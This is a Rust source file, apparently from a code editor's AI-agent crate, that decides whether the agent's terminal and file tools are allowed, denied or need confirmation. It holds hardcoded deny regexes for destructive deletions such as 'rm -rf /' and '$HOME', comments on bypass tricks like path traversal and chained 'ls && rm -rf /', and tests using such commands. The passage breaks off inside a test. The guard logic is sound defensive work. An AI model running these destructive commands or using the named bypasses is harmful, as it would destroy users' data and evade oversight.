1use crate::AgentTool;
2use crate::tools::TerminalTool;
3use agent_settings::{AgentSettings, CompiledRegex, ToolPermissions, ToolRules};
4use settings::ToolPermissionMode;
5use shell_command_parser::extract_commands;
6use std::path::{Component, Path};
7use std::sync::LazyLock;
8use util::shell::ShellKind;
9
10const HARDCODED_SECURITY_DENIAL_MESSAGE: &str = "Blocked by built-in security rule. This operation is considered too \
11 harmful to be allowed, and cannot be overridden by settings.";
12
13/// Security rules that are always enforced and cannot be overridden by any setting.
14/// These protect against catastrophic operations like wiping filesystems.
15pub struct HardcodedSecurityRules {
16 pub terminal_deny: Vec<CompiledRegex>,
17}
18
19pub static HARDCODED_SECURITY_RULES: LazyLock<HardcodedSecurityRules> = LazyLock::new(|| {
20 // Flag group matches any short flags (-rf, -rfv, -v, etc.) or long flags (--recursive, --force, etc.)
21 // This ensures extra flags like -rfv, -v -rf, --recursive --force don't bypass the rules.
22 const FLAGS: &str = r"(--[a-zA-Z0-9][-a-zA-Z0-9_]*(=[^\s]*)?\s+|-[a-zA-Z]+\s+)*";
23 // Trailing flags that may appear after the path operand (GNU rm accepts flags after operands)
24 const TRAILING_FLAGS: &str = r"(\s+--[a-zA-Z0-9][-a-zA-Z0-9_]*(=[^\s]*)?|\s+-[a-zA-Z]+)*\s*";
25
26 HardcodedSecurityRules {
27 terminal_deny: vec![
28 // Recursive deletion of root - "rm -rf /", "rm -rfv /", "rm -rf /*", "rm / -rf"
29 CompiledRegex::new(
30 &format!(r"\brm\s+{FLAGS}(--\s+)?/\*?{TRAILING_FLAGS}$"),
31 false,
32 )
33 .expect("hardcoded regex should compile"),
34 // Recursive deletion of home - "rm -rf ~" or "rm -rf ~/" or "rm -rf ~/*" or "rm ~ -rf" (but not ~/subdir)
35 CompiledRegex::new(
36 &format!(r"\brm\s+{FLAGS}(--\s+)?~/?\*?{TRAILING_FLAGS}$"),
37 false,
38 )
39 .expect("hardcoded regex should compile"),
40 // Recursive deletion of home via $HOME - "rm -rf $HOME" or "rm -rf ${HOME}" or "rm $HOME -rf" or with /*
41 CompiledRegex::new(
42 &format!(r"\brm\s+{FLAGS}(--\s+)?(\$HOME|\$\{{HOME\}})/?(\*)?{TRAILING_FLAGS}$"),
43 false,
44 )
45 .expect("hardcoded regex should compile"),
46 // Recursive deletion of current directory - "rm -rf ." or "rm -rf ./" or "rm -rf ./*" or "rm . -rf"
47 CompiledRegex::new(
48 &format!(r"\brm\s+{FLAGS}(--\s+)?\./?\*?{TRAILING_FLAGS}$"),
49 false,
50 )
51 .expect("hardcoded regex should compile"),
52 // Recursive deletion of parent directory - "rm -rf .." or "rm -rf ../" or "rm -rf ../*" or "rm .. -rf"
53 CompiledRegex::new(
54 &format!(r"\brm\s+{FLAGS}(--\s+)?\.\./?\*?{TRAILING_FLAGS}$"),
55 false,
56 )
57 .expect("hardcoded regex should compile"),
58 ],
59 }
60});
61
62/// Checks if input matches any hardcoded security rules that cannot be bypassed.
63/// Returns a Deny decision if blocked, None otherwise.
64fn check_hardcoded_security_rules(
65 tool_name: &str,
66 inputs: &[String],
67 shell_kind: ShellKind,
68) -> Option<ToolPermissionDecision> {
69 // Currently only terminal tool has hardcoded rules
70 if tool_name != TerminalTool::NAME {
71 return None;
72 }
73
74 let rules = &*HARDCODED_SECURITY_RULES;
75 let terminal_patterns = &rules.terminal_deny;
76
77 for input in inputs {
78 // First: check the original input as-is (and its path-normalized form)
79 if matches_hardcoded_patterns(input, terminal_patterns) {
80 return Some(ToolPermissionDecision::Deny(
81 HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
82 ));
83 }
84
85 // Second: parse and check individual sub-commands (for chained commands)
86 if shell_kind.supports_posix_chaining() {
87 if let Some(commands) = extract_commands(input) {
88 for command in &commands {
89 if matches_hardcoded_patterns(command, terminal_patterns) {
90 return Some(ToolPermissionDecision::Deny(
91 HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
92 ));
93 }
94 }
95 }
96 }
97 }
98
99 None
100}
101
102/// Checks a single command against hardcoded patterns, both as-is and with
103/// path arguments normalized (to catch traversal bypasses like `rm -rf /tmp/../../`
104/// and multi-path bypasses like `rm -rf /tmp /`).
105fn matches_hardcoded_patterns(command: &str, patterns: &[CompiledRegex]) -> bool {
106 for pattern in patterns {
107 if pattern.is_match(command) {
108 return true;
109 }
110 }
111
112 for expanded in expand_rm_to_single_path_commands(command) {
113 for pattern in patterns {
114 if pattern.is_match(&expanded) {
115 return true;
116 }
117 }
118 }
119
120 false
121}
122
123/// For rm commands, expands multi-path arguments into individual single-path
124/// commands with normalized paths. This catches both traversal bypasses like
125/// `rm -rf /tmp/../../` and multi-path bypasses like `rm -rf /tmp /`.
126fn expand_rm_to_single_path_commands(command: &str) -> Vec<String> {
127 let trimmed = command.trim();
128
129 let first_token = trimmed.split_whitespace().next();
130 if !first_token.is_some_and(|t| t.eq_ignore_ascii_case("rm")) {
131 return vec![];
132 }
133
134 let parts: Vec<&str> = trimmed.split_whitespace().collect();
135 let mut flags = Vec::new();
136 let mut paths = Vec::new();
137 let mut past_double_dash = false;
138
139 for part in parts.iter().skip(1) {
140 if !past_double_dash && *part == "--" {
141 past_double_dash = true;
142 flags.push(*part);
143 continue;
144 }
145 if !past_double_dash && part.starts_with('-') {
146 flags.push(*part);
147 } else {
148 paths.push(*part);
149 }
150 }
151
152 let flags_str = if flags.is_empty() {
153 String::new()
154 } else {
155 format!("{} ", flags.join(" "))
156 };
157
158 let mut results = Vec::new();
159 for path in &paths {
160 if path.starts_with('$') {
161 let home_prefix = if path.starts_with("${HOME}") {
162 Some("${HOME}")
163 } else if path.starts_with("$HOME") {
164 Some("$HOME")
165 } else {
166 None
167 };
168
169 if let Some(prefix) = home_prefix {
170 let suffix = &path[prefix.len()..];
171 if suffix.is_empty() {
172 results.push(format!("rm {flags_str}{path}"));
173 } else if suffix.starts_with('/') {
174 let normalized_suffix = normalize_path(suffix);
175 let reconstructed = if normalized_suffix == "/" {
176 prefix.to_string()
177 } else {
178 format!("{prefix}{normalized_suffix}")
179 };
180 results.push(format!("rm {flags_str}{reconstructed}"));
181 } else {
182 results.push(format!("rm {flags_str}{path}"));
183 }
184 } else {
185 results.push(format!("rm {flags_str}{path}"));
186 }
187 continue;
188 }
189
190 let mut normalized = normalize_path(path);
191 if normalized.is_empty() && !Path::new(path).has_root() {
192 normalized = ".".to_string();
193 }
194
195 results.push(format!("rm {flags_str}{normalized}"));
196 }
197
198 results
199}
200
201#[derive(Debug, Clone, PartialEq, Eq)]
202pub enum ToolPermissionDecision {
203 Allow,
204 Deny(String),
205 Confirm,
206}
207
208impl ToolPermissionDecision {
209 /// Determines the permission decision for a tool invocation based on configured rules.
210 ///
211 /// # Precedence Order (highest to lowest)
212 ///
213 /// 1. **Hardcoded security rules** - Critical safety checks (e.g., blocking `rm -rf /`)
214 /// that cannot be bypassed by any user settings.
215 /// 2. **`always_deny`** - If any deny pattern matches, the tool call is blocked immediately.
216 /// This takes precedence over `always_confirm` and `always_allow` patterns.
217 /// 3. **`always_confirm`** - If any confirm pattern matches (and no deny matched),
218 /// the user is prompted for confirmation.
219 /// 4. **`always_allow`** - If any allow pattern matches (and no deny/confirm matched),
220 /// the tool call proceeds without prompting.
221 /// 5. **Tool-specific `default`** - If no patterns match and the tool has an explicit
222 /// `default` configured, that mode is used.
223 /// 6. **Global `default`** - Falls back to `tool_permissions.default` when no
224 /// tool-specific default is set, or when the tool has no entry at all.
225 ///
226 /// # Shell Compatibility (Terminal Tool Only)
227 ///
228 /// For the terminal tool, commands are parsed to extract sub-commands for security.
229 /// All currently supported `ShellKind` variants are treated as compatible because
230 /// brush-parser can handle their command chaining syntax. If a new `ShellKind`
231 /// variant is added that brush-parser cannot safely parse, it should be excluded
232 /// from `ShellKind::supports_posix_chaining()`, which will cause `always_allow`
233 /// patterns to be disabled for that shell.
234 ///
235 /// # Pattern Matching Tips
236 ///
237 /// Patterns are matched as regular expressions against the tool input (e.g., the command
238 /// string for the terminal tool). Some tips for writing effective patterns:
239 ///
240 /// - Use word boundaries (`\b`) to avoid partial matches. For example, pattern `rm` will
241 /// match "storm" and "arms", but `\brm\b` will only match the standalone word "rm".
242 /// This is important for security rules where you want to block specific commands
243 /// without accidentally blocking unrelated commands that happen to contain the same
244 /// substring.
245 /// - Patterns are case-insensitive by default. Set `case_sensitive: true` for exact matching.
246 /// - Use `^` and `$` anchors to match the start/end of the input.
247 pub fn from_input(
248 tool_name: &str,
249 inputs: &[String],
250 permissions: &ToolPermissions,
251 shell_kind: ShellKind,
252 ) -> ToolPermissionDecision {
253 // First, check hardcoded security rules, such as banning `rm -rf /` in terminal tool.
254 // These cannot be bypassed by any user settings.
255 if let Some(denial) = check_hardcoded_security_rules(tool_name, inputs, shell_kind) {
256 return denial;
257 }
258
259 let rules = match permissions.tools.get(tool_name) {
260 Some(rules) => rules,
261 None => {
262 // No tool-specific rules, use the global default
263 return match permissions.default {
264 ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
265 ToolPermissionMode::Deny => {
266 ToolPermissionDecision::Deny("Blocked by global default: deny".into())
267 }
268 ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
269 };
270 }
271 };
272
273 // Check for invalid regex patterns before evaluating rules.
274 // If any patterns failed to compile, block the tool call entirely.
275 if let Some(error) = check_invalid_patterns(tool_name, rules) {
276 return ToolPermissionDecision::Deny(error);
277 }
278
279 // For the terminal tool, parse each input command to extract all sub-commands.
280 // This prevents shell injection attacks where a user configures an allow
281 // pattern like "^ls" and an attacker crafts "ls && rm -rf /".
282 //
283 // If parsing fails or the shell syntax is unsupported, always_allow is
284 // disabled for this command (we set allow_enabled to false to signal this).
285 if tool_name == TerminalTool::NAME {
286 // Our shell parser (brush-parser) only supports POSIX-like shell syntax.
287 // See the doc comment above for the list of compatible/incompatible shells.
288 if !shell_kind.supports_posix_chaining() {
289 // For shells with incompatible syntax, we can't reliably parse
290 // the command to extract sub-commands.
291 if !rules.always_allow.is_empty() {
292 // If the user has configured always_allow patterns, we must deny
293 // because we can't safely verify the command doesn't contain
294 // hidden sub-commands that bypass the allow patterns.
295 return ToolPermissionDecision::Deny(format!(
296 "The {} shell does not support \"always allow\" patterns for the terminal \
297 tool because Zed cannot parse its command chaining syntax. Please remove \
298 the always_allow patterns from your tool_permissions settings, or switch \
299 to a POSIX-conforming shell.",
300 shell_kind
301 ));
302 }
303 // No always_allow rules, so we can still check deny/confirm patterns.
304 return check_commands(
305 inputs.iter().map(|s| s.to_string()),
306 rules,
307 tool_name,
308 false,
309 permissions.default,
310 );
311 }
312
313 // Expand each input into its sub-commands and check them all together.
314 let mut all_commands = Vec::new();
315 let mut any_parse_failed = false;
316 for input in inputs {
317 match extract_commands(input) {
318 Some(commands) => all_commands.extend(commands),
319 None => {
320 any_parse_failed = true;
321 all_commands.push(input.to_string());
322 }
323 }
324 }
325 // If any command failed to parse, disable allow patterns for safety.
326 check_commands(
327 all_commands,
328 rules,
329 tool_name,
330 !any_parse_failed,
331 permissions.default,
332 )
333 } else {
334 check_commands(
335 inputs.iter().map(|s| s.to_string()),
336 rules,
337 tool_name,
338 true,
339 permissions.default,
340 )
341 }
342 }
343}
344
345/// Evaluates permission rules against a set of commands.
346///
347/// This function performs a single pass through all commands with the following logic:
348/// - **DENY**: If ANY command matches a deny pattern, deny immediately (short-circuit)
349/// - **CONFIRM**: Track if ANY command matches a confirm pattern
350/// - **ALLOW**: Track if ALL commands match at least one allow pattern
351///
352/// The `allow_enabled` flag controls whether allow patterns are checked. This is set
353/// to `false` when we can't reliably parse shell commands (e.g., parse failures or
354/// unsupported shell syntax), ensuring we don't auto-allow potentially dangerous commands.
355fn check_commands(
356 commands: impl IntoIterator<Item = String>,
357 rules: &ToolRules,
358 tool_name: &str,
359 allow_enabled: bool,
360 global_default: ToolPermissionMode,
361) -> ToolPermissionDecision {
362 // Single pass through all commands:
363 // - DENY: If ANY command matches a deny pattern, deny immediately (short-circuit)
364 // - CONFIRM: Track if ANY command matches a confirm pattern
365 // - ALLOW: Track if ALL commands match at least one allow pattern
366 let mut any_matched_confirm = false;
367 let mut all_matched_allow = true;
368 let mut had_any_commands = false;
369
370 for command in commands {
371 had_any_commands = true;
372
373 // DENY: immediate return if any command matches a deny pattern
374 if rules.always_deny.iter().any(|r| r.is_match(&command)) {
375 return ToolPermissionDecision::Deny(format!(
376 "Command blocked by security rule for {} tool",
377 tool_name
378 ));
379 }
380
381 // CONFIRM: remember if any command matches a confirm pattern
382 if rules.always_confirm.iter().any(|r| r.is_match(&command)) {
383 any_matched_confirm = true;
384 }
385
386 // ALLOW: track if all commands match at least one allow pattern
387 if !rules.always_allow.iter().any(|r| r.is_match(&command)) {
388 all_matched_allow = false;
389 }
390 }
391
392 // After processing all commands, check accumulated state
393 if any_matched_confirm {
394 return ToolPermissionDecision::Confirm;
395 }
396
397 if allow_enabled && all_matched_allow && had_any_commands {
398 return ToolPermissionDecision::Allow;
399 }
400
401 match rules.default.unwrap_or(global_default) {
402 ToolPermissionMode::Deny => {
403 ToolPermissionDecision::Deny(format!("{} tool is disabled", tool_name))
404 }
405 ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
406 ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
407 }
408}
409
410/// Checks if the tool rules contain any invalid regex patterns.
411/// Returns an error message if invalid patterns are found.
412fn check_invalid_patterns(tool_name: &str, rules: &ToolRules) -> Option<String> {
413 if rules.invalid_patterns.is_empty() {
414 return None;
415 }
416
417 let count = rules.invalid_patterns.len();
418 let pattern_word = if count == 1 { "pattern" } else { "patterns" };
419
420 Some(format!(
421 "The {} tool cannot run because {} regex {} failed to compile. \
422 Please fix the invalid patterns in your tool_permissions settings.",
423 tool_name, count, pattern_word
424 ))
425}
426
427/// Convenience wrapper that extracts permission settings from `AgentSettings`.
428///
429/// This is the primary entry point for tools to check permissions. It extracts
430/// `tool_permissions` from the settings and
431/// delegates to [`ToolPermissionDecision::from_input`], using the system shell.
432pub fn decide_permission_from_settings(
433 tool_name: &str,
434 inputs: &[String],
435 settings: &AgentSettings,
436) -> ToolPermissionDecision {
437 ToolPermissionDecision::from_input(
438 tool_name,
439 inputs,
440 &settings.tool_permissions,
441 ShellKind::system(),
442 )
443}
444
445/// Normalizes a path by collapsing `.` and `..` segments without touching the filesystem.
446pub fn normalize_path(raw: &str) -> String {
447 let is_absolute = Path::new(raw).has_root();
448 let mut components: Vec<&str> = Vec::new();
449 for component in Path::new(raw).components() {
450 match component {
451 Component::CurDir => {}
452 Component::ParentDir => {
453 if components.last() == Some(&"..") {
454 components.push("..");
455 } else if !components.is_empty() {
456 components.pop();
457 } else if !is_absolute {
458 components.push("..");
459 }
460 }
461 Component::Normal(segment) => {
462 if let Some(s) = segment.to_str() {
463 components.push(s);
464 }
465 }
466 Component::RootDir | Component::Prefix(_) => {}
467 }
468 }
469 let joined = components.join("/");
470 if is_absolute {
471 format!("/{joined}")
472 } else {
473 joined
474 }
475}
476
477/// Decides permission by checking both the raw input path and a simplified/canonicalized
478/// version. Returns the most restrictive decision (Deny > Confirm > Allow).
479pub fn decide_permission_for_paths(
480 tool_name: &str,
481 raw_paths: &[String],
482 settings: &AgentSettings,
483) -> ToolPermissionDecision {
484 let raw_inputs: Vec<String> = raw_paths.to_vec();
485 let raw_decision = decide_permission_from_settings(tool_name, &raw_inputs, settings);
486
487 let normalized: Vec<String> = raw_paths.iter().map(|p| normalize_path(p)).collect();
488 let any_changed = raw_paths
489 .iter()
490 .zip(&normalized)
491 .any(|(raw, norm)| raw != norm);
492 if !any_changed {
493 return raw_decision;
494 }
495
496 let normalized_decision = decide_permission_from_settings(tool_name, &normalized, settings);
497
498 most_restrictive(raw_decision, normalized_decision)
499}
500
501pub fn decide_permission_for_path(
502 tool_name: &str,
503 raw_path: &str,
504 settings: &AgentSettings,
505) -> ToolPermissionDecision {
506 decide_permission_for_paths(tool_name, &[raw_path.to_string()], settings)
507}
508
509pub fn most_restrictive(
510 a: ToolPermissionDecision,
511 b: ToolPermissionDecision,
512) -> ToolPermissionDecision {
513 match (&a, &b) {
514 (ToolPermissionDecision::Deny(_), _) => a,
515 (_, ToolPermissionDecision::Deny(_)) => b,
516 (ToolPermissionDecision::Confirm, _) | (_, ToolPermissionDecision::Confirm) => {
517 ToolPermissionDecision::Confirm
518 }
519 _ => a,
520 }
521}
522
523#[cfg(test)]
524mod tests {
525 use super::*;
526 use crate::AgentTool;
527 use crate::pattern_extraction::extract_terminal_pattern;
528 use crate::tools::{DeletePathTool, EditFileTool, FetchTool, TerminalTool};
529 use agent_settings::{AgentProfileId, CompiledRegex, InvalidRegexPattern, ToolRules};
530 use gpui::px;
531 use settings::{DefaultAgentView, DockPosition, NotifyWhenAgentWaiting};
532 use std::sync::Arc;
533
534 fn test_agent_settings(tool_permissions: ToolPermissions) -> AgentSettings {
535 AgentSettings {
536 enabled: true,
537 button: true,
538 dock: DockPosition::Right,
539 default_width: px(300.),
540 default_height: px(600.),
541 default_model: None,
542 inline_assistant_model: None,
543 inline_assistant_use_streaming_tools: false,
544 commit_message_model: None,
545 thread_summary_model: None,
546 inline_alternatives: vec![],
547 favorite_models: vec![],
548 default_profile: AgentProfileId::default(),
549 default_view: DefaultAgentView::Thread,
550 profiles: Default::default(),
551 notify_when_agent_waiting: NotifyWhenAgentWaiting::default(),
552 play_sound_when_agent_done: false,
553 single_file_review: false,
554 model_parameters: vec![],
555 enable_feedback: false,
556 expand_edit_card: true,
557 expand_terminal_card: true,
558 cancel_generation_on_terminal_stop: true,
559 use_modifier_to_send: true,
560 message_editor_min_lines: 1,
561 tool_permissions,
562 show_turn_stats: false,
563 }
564 }
565
566 fn pattern(command: &str) -> &'static str {
567 Box::leak(
568 extract_terminal_pattern(command)
569 .expect("failed to extract pattern")
570 .into_boxed_str(),
571 )
572 }
573
574 struct PermTest {
575 tool: &'static str,
576 input: &'static str,
577 mode: Option<ToolPermissionMode>,
578 allow: Vec<(&'static str, bool)>,
579 deny: Vec<(&'static str, bool)>,
580 confirm: Vec<(&'static str, bool)>,
581 global_default: ToolPermissionMode,
582 shell: ShellKind,
583 }
584
585 impl PermTest {
586 fn new(input: &'static str) -> Self {
587 Self {
588 tool: TerminalTool::NAME,
589 input,
590 mode: None,
591 allow: vec![],
592 deny: vec![],
593 confirm: vec![],
594 global_default: ToolPermissionMode::Confirm,
595 shell: ShellKind::Posix,
596 }
597 }
598
599 fn tool(mut self, t: &'static str) -> Self {
600 self.tool = t;
601 self
602 }
603 fn mode(mut self, m: ToolPermissionMode) -> Self {
604 self.mode = Some(m);
605 self
606 }
607 fn allow(mut self, p: &[&'static str]) -> Self {
608 self.allow = p.iter().map(|s| (*s, false)).collect();
609 self
610 }
611 fn allow_case_sensitive(mut self, p: &[&'static str]) -> Self {
612 self.allow = p.iter().map(|s| (*s, true)).collect();
613 self
614 }
615 fn deny(mut self, p: &[&'static str]) -> Self {
616 self.deny = p.iter().map(|s| (*s, false)).collect();
617 self
618 }
619 fn deny_case_sensitive(mut self, p: &[&'static str]) -> Self {
620 self.deny = p.iter().map(|s| (*s, true)).collect();
621 self
622 }
623 fn confirm(mut self, p: &[&'static str]) -> Self {
624 self.confirm = p.iter().map(|s| (*s, false)).collect();
625 self
626 }
627 fn global_default(mut self, m: ToolPermissionMode) -> Self {
628 self.global_default = m;
629 self
630 }
631 fn shell(mut self, s: ShellKind) -> Self {
632 self.shell = s;
633 self
634 }
635
636 fn is_allow(self) {
637 assert_eq!(
638 self.run(),
639 ToolPermissionDecision::Allow,
640 "expected Allow for '{}'",
641 self.input
642 );
643 }
644 fn is_deny(self) {
645 assert!(
646 matches!(self.run(), ToolPermissionDecision::Deny(_)),
647 "expected Deny for '{}'",
648 self.input
649 );
650 }
651 fn is_confirm(self) {
652 assert_eq!(
653 self.run(),
654 ToolPermissionDecision::Confirm,
655 "expected Confirm for '{}'",
656 self.input
657 );
658 }
659
660 fn run(&self) -> ToolPermissionDecision {
661 let mut tools = collections::HashMap::default();
662 tools.insert(
663 Arc::from(self.tool),
664 ToolRules {
665 default: self.mode,
666 always_allow: self
667 .allow
668 .iter()
669 .map(|(p, cs)| {
670 CompiledRegex::new(p, *cs)
671 .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
672 })
673 .collect(),
674 always_deny: self
675 .deny
676 .iter()
677 .map(|(p, cs)| {
678 CompiledRegex::new(p, *cs)
679 .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
680 })
681 .collect(),
682 always_confirm: self
683 .confirm
684 .iter()
685 .map(|(p, cs)| {
686 CompiledRegex::new(p, *cs)
687 .unwrap_or_else(|| panic!("invalid regex in test: {p:?}"))
688 })
689 .collect(),
690 invalid_patterns: vec![],
691 },
692 );
693 ToolPermissionDecision::from_input(
694 self.tool,
695 &[self.input.to_string()],
696 &ToolPermissions {
697 default: self.global_default,
698 tools,
699 },
700 self.shell,
701 )
702 }
703 }
704
705 fn t(input: &'static str) -> PermTest {
706 PermTest::new(input)
707 }
708
709 fn no_rules(input: &str, global_default: ToolPermissionMode) -> ToolPermissionDecision {
710 ToolPermissionDecision::from_input(
711 TerminalTool::NAME,
712 &[input.to_string()],
713 &ToolPermissions {
714 default: global_default,
715 tools: collections::HashMap::default(),
716 },
717 ShellKind::Posix,
718 )
719 }
720
721 // allow pattern matches
722 #[test]
723 fn allow_exact_match() {
724 t("cargo test").allow(&[pattern("cargo")]).is_allow();
725 }
726 #[test]
727 fn allow_one_of_many_patterns() {
728 t("npm install")
729 .allow(&[pattern("cargo"), pattern("npm")])
730 .is_allow();
731 t("git status")
732 .allow(&[pattern("cargo"), pattern("npm"), pattern("git")])
733 .is_allow();
734 }
735 #[test]
736 fn allow_middle_pattern() {
737 t("run cargo now").allow(&["cargo"]).is_allow();
738 }
739 #[test]
740 fn allow_anchor_prevents_middle() {
741 t("run cargo now").allow(&["^cargo"]).is_confirm();
742 }
743
744 // allow pattern doesn't match -> falls through
745 #[test]
746 fn allow_no_match_confirms() {
747 t("python x.py").allow(&[pattern("cargo")]).is_confirm();
748 }
749 #[test]
750 fn allow_no_match_global_allows() {
751 t("python x.py")
752 .allow(&[pattern("cargo")])
753 .global_default(ToolPermissionMode::Allow)
754 .is_allow();
755 }
756 #[test]
757 fn allow_no_match_tool_confirm_overrides_global_allow() {
758 t("python x.py")
759 .allow(&[pattern("cargo")])
760 .mode(ToolPermissionMode::Confirm)
761 .global_default(ToolPermissionMode::Allow)
762 .is_confirm();
763 }
764 #[test]
765 fn allow_no_match_tool_allow_overrides_global_confirm() {
766 t("python x.py")
767 .allow(&[pattern("cargo")])
768 .mode(ToolPermissionMode::Allow)
769 .global_default(ToolPermissionMode::Confirm)
770 .is_allow();
771 }
772
773 // deny pattern matches (using commands that aren't blocked by hardcoded rules)
774 #[test]
775 fn deny_blocks() {
776 t("rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
777 }
778 // global default: allow does NOT bypass user-configured deny rules
779 #[test]
780 fn deny_not_bypassed_by_global_default_allow() {
781 t("rm -rf ./temp")
782 .deny(&["rm\\s+-rf"])
783 .global_default(ToolPermissionMode::Allow)
784 .is_deny();
785 }
786 #[test]
787 fn deny_blocks_with_mode_allow() {
788 t("rm -rf ./temp")
789 .deny(&["rm\\s+-rf"])
790 .mode(ToolPermissionMode::Allow)
791 .is_deny();
792 }
793 #[test]
794 fn deny_middle_match() {
795 t("echo rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
796 }
797 #[test]
798 fn deny_no_match_falls_through() {
799 t("ls -la")
800 .deny(&["rm\\s+-rf"])
801 .mode(ToolPermissionMode::Allow)
802 .is_allow();
803 }
804
805 // confirm pattern matches
806 #[test]
807 fn confirm_requires_confirm() {
808 t("sudo apt install")
809 .confirm(&[pattern("sudo")])
810 .is_confirm();
811 }
812 // global default: allow does NOT bypass user-configured confirm rules
813 #[test]
814 fn global_default_allow_does_not_override_confirm_pattern() {
815 t("sudo reboot")
816 .confirm(&[pattern("sudo")])
817 .global_default(ToolPermissionMode::Allow)
818 .is_confirm();
819 }
820 #[test]
821 fn confirm_overrides_mode_allow() {
822 t("sudo x")
823 .confirm(&["sudo"])
824 .mode(ToolPermissionMode::Allow)
825 .is_confirm();
826 }
827
828 // confirm beats allow
829 #[test]
830 fn confirm_beats_allow() {
831 t("git push --force")
832 .allow(&[pattern("git")])
833 .confirm(&["--force"])
834 .is_confirm();
835 }
836 #[test]
837 fn confirm_beats_allow_overlap() {
838 t("deploy prod")
839 .allow(&["deploy"])
840 .confirm(&["prod"])
841 .is_confirm();
842 }
843 #[test]
844 fn allow_when_confirm_no_match() {
845 t("git status")
846 .allow(&[pattern("git")])
847 .confirm(&["--force"])
848 .is_allow();
849 }
850
851 // deny beats allow
852 #[test]
853 fn deny_beats_allow() {
854 t("rm -rf ./tmp/x")
855 .allow(&["/tmp/"])
856 .deny(&["rm\\s+-rf"])
857 .is_deny();
858 }
859
860 #[test]
861 fn deny_beats_confirm() {
862 t("sudo rm -rf ./temp")
863 .confirm(&["sudo"])
864 .deny(&["rm\\s+-rf"])
865 .is_deny();
866 }
867
868 // deny beats everything
869 #[test]
870 fn deny_beats_all() {
871 t("bad cmd")
872 .allow(&["cmd"])
873 .confirm(&["cmd"])
874 .deny(&["bad"])
875 .is_deny();
876 }
877
878 // no patterns -> default
879 #[test]
880 fn default_confirm() {
881 t("python x.py")
882 .mode(ToolPermissionMode::Confirm)
883 .is_confirm();
884 }
885 #[test]
886 fn default_allow() {
887 t("python x.py").mode(ToolPermissionMode::Allow).is_allow();
888 }
889 #[test]
890 fn default_deny() {
891 t("python x.py").mode(ToolPermissionMode::Deny).is_deny();
892 }
893 // Tool-specific default takes precedence over global default
894 #[test]
895 fn tool_default_deny_overrides_global_allow() {
896 t("python x.py")
897 .mode(ToolPermissionMode::Deny)
898 .global_default(ToolPermissionMode::Allow)
899 .is_deny();
900 }
901
902 // Tool-specific default takes precedence over global default
903 #[test]
904 fn tool_default_confirm_overrides_global_allow() {
905 t("x")
906 .mode(ToolPermissionMode::Confirm)
907 .global_default(ToolPermissionMode::Allow)
908 .is_confirm();
909 }
910
911 #[test]
912 fn no_rules_uses_global_default() {
913 assert_eq!(
914 no_rules("x", ToolPermissionMode::Confirm),
915 ToolPermissionDecision::Confirm
916 );
917 assert_eq!(
918 no_rules("x", ToolPermissionMode::Allow),
919 ToolPermissionDecision::Allow
920 );
921 assert!(matches!(
922 no_rules("x", ToolPermissionMode::Deny),
923 ToolPermissionDecision::Deny(_)
924 ));
925 }
926
927 #[test]
928 fn empty_input_no_match() {
929 t("")
930 .deny(&["rm"])
931 .mode(ToolPermissionMode::Allow)
932 .is_allow();
933 }
934
935 #[test]
936 fn empty_input_with_allow_falls_to_default() {
937 t("").allow(&["^ls"]).is_confirm();
938 }
939
940 #[test]
941 fn multi_deny_any_match() {
942 t("rm x").deny(&["rm", "del", "drop"]).is_deny();
943 t("drop x").deny(&["rm", "del", "drop"]).is_deny();
944 }
945
946 #[test]
947 fn multi_allow_any_match() {
948 t("cargo x").allow(&["^cargo", "^npm", "^git"]).is_allow();
949 }
950 #[test]
951 fn multi_none_match() {
952 t("python x")
953 .allow(&["^cargo", "^npm"])
954 .deny(&["rm"])
955 .is_confirm();
956 }
957
958 // tool isolation
959 #[test]
960 fn other_tool_not_affected() {
961 let mut tools = collections::HashMap::default();
962 tools.insert(
963 Arc::from(TerminalTool::NAME),
964 ToolRules {
965 default: Some(ToolPermissionMode::Deny),
966 always_allow: vec![],
967 always_deny: vec![],
968 always_confirm: vec![],
969 invalid_patterns: vec![],
970 },
971 );
972 tools.insert(
973 Arc::from(EditFileTool::NAME),
974 ToolRules {
975 default: Some(ToolPermissionMode::Allow),
976 always_allow: vec![],
977 always_deny: vec![],
978 always_confirm: vec![],
979 invalid_patterns: vec![],
980 },
981 );
982 let p = ToolPermissions {
983 default: ToolPermissionMode::Confirm,
984 tools,
985 };
986 assert!(matches!(
987 ToolPermissionDecision::from_input(
988 TerminalTool::NAME,
989 &["x".to_string()],
990 &p,
991 ShellKind::Posix
992 ),
993 ToolPermissionDecision::Deny(_)
994 ));
995 assert_eq!(
996 ToolPermissionDecision::from_input(
997 EditFileTool::NAME,
998 &["x".to_string()],
999 &p,
1000 ShellKind::Posix
1001 ),
1002 ToolPermissionDecision::Allow
1003 );
1004 }
1005
1006 #[test]
1007 fn partial_tool_name_no_match() {
1008 let mut tools = collections::HashMap::default();
1009 tools.insert(
1010 Arc::from("term"),
1011 ToolRules {
1012 default: Some(ToolPermissionMode::Deny),
1013 always_allow: vec![],
1014 always_deny: vec![],
1015 always_confirm: vec![],
1016 invalid_patterns: vec![],
1017 },
1018 );
1019 let p = ToolPermissions {
1020 default: ToolPermissionMode::Confirm,
1021 tools,
1022 };
1023 // "terminal" should not match "term" rules, so falls back to Confirm (no rules)
1024 assert_eq!(
1025 ToolPermissionDecision::from_input(
1026 TerminalTool::NAME,
1027 &["x".to_string()],
1028 &p,
1029 ShellKind::Posix
1030 ),
1031 ToolPermissionDecision::Confirm
1032 );
1033 }
1034
1035 // invalid patterns block the tool
1036 #[test]
1037 fn invalid_pattern_blocks() {
1038 let mut tools = collections::HashMap::default();
1039 tools.insert(
1040 Arc::from(TerminalTool::NAME),
1041 ToolRules {
1042 default: Some(ToolPermissionMode::Allow),
1043 always_allow: vec![CompiledRegex::new("echo", false).unwrap()],
1044 always_deny: vec![],
1045 always_confirm: vec![],
1046 invalid_patterns: vec![InvalidRegexPattern {
1047 pattern: "[bad".into(),
1048 rule_type: "always_deny".into(),
1049 error: "err".into(),
1050 }],
1051 },
1052 );
1053 let p = ToolPermissions {
1054 default: ToolPermissionMode::Confirm,
